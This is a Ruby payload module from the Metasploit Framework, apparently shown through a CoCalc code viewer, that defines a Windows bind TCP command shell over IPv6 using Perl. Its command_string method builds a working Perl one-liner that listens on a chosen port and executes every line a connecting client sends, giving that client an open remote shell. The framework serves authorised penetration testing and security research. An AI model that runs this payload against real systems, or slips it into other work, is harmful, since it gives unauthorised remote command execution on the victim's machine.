Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
rapid7
GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/payloads/singles/cmd/windows/bind_perl_ipv6.rb
19516 views
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
module MetasploitModule
7
CachedSize = 140
8
9
include Msf::Payload::Single
10
include Msf::Sessions::CommandShellOptions
11
12
def initialize(info = {})
13
super(
14
merge_info(
15
info,
16
'Name' => 'Windows Command Shell, Bind TCP (via perl) IPv6',
17
'Description' => 'Listen for a connection and spawn a command shell via perl (persistent)',
18
'Author' => ['Samy <samy[at]samy.pl>', 'cazz', 'aushack'],
19
'License' => BSD_LICENSE,
20
'Platform' => 'win',
21
'Arch' => ARCH_CMD,
22
'Handler' => Msf::Handler::BindTcp,
23
'Session' => Msf::Sessions::CommandShell,
24
'PayloadType' => 'cmd',
25
'RequiredCmd' => 'perl',
26
'Payload' => {
27
'Offsets' => {},
28
'Payload' => ''
29
}
30
)
31
)
32
register_advanced_options(
33
[
34
OptString.new('PerlPath', [true, 'The path to the Perl executable', 'perl'])
35
]
36
)
37
end
38
39
#
40
# Constructs the payload
41
#
42
def generate(_opts = {})
43
return super + command_string
44
end
45
46
#
47
# Returns the command string to use for execution
48
#
49
def command_string
50
cmd = "#{datastore['PerlPath']} -MIO -e \"while($c=new IO::Socket::INET6(LocalPort,#{datastore['LPORT']},Reuse,1,Listen)->accept){$~->fdopen($c,w);STDIN->fdopen($c,r);system$_ while<>}\""
51
52
return cmd
53
end
54
end
55
56